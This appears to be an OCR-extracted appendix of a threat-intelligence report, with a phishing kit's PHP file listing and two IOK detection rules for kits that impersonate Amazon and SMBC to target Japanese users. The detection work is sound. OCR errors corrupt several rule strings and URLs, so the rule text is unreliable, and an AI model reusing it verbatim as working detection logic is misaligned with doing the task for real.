ExceptionHandle.php nginx.htaccess vendor
Request.php config robots. txt autoload.php
common.php app.php router.php bin
controller cache.ph static composer
event.php console. wenjian geoip2
middleware.y cookie.p robots.txt league

model database route maxmind
provider.phy filesyst l— app.php maxmind-db
service lang.php runtime psSr
service.php log.php EEE log services.php
composer.json middlewa session symfony
temp topthink
session.php view
trace.php README .md
view.php admon
extend index
nginx.htaccess

composer.lock route.ph
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Appendix docomo | e
"IOK, a phishing kit discussing Amazon targeting Japan.”

title: Amazon_Phishing_Detection
description: |

Detects a Amazon phishing kit targeting Japanese users.
references:

- https://urlscan.io/result/b75b2254-d248-4ab6-ae21-4969e5e9d837
detection:

AppJSContains:
dom|contains:
- 'type="text/javascript" src="/static/js/app.'
ContentScript:
requests|contains:
- '11.8b1570ce205b9a0d5echb.js’
condition: AppJ]SContains and ContentScript
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Appendix docomo | e
"IOK, a phishing kit discussing SMBC (Sumitomo Mitsui Banking Corporation) targeting Japan.”

title: SMBC_Phishing_Detection
description: |

Detects a SMBC phishing kit targeting Japanese users.
references:

- https://urlscan.io/result/e52f427c-1f90-4ad3-990b-ab9d2184dad?2
detection:

FormContains:
dom|contains:
- 'method="post" action="https://www.smbc-
card.com/memapi/jaxrs/xt_login/agree/v1" novalidate=""'
ChunkVendorsScript:
requests|contains:
- 'chunk-vendors.7d63933e.]js'
condition: FormContains and ChunkVendorsScript
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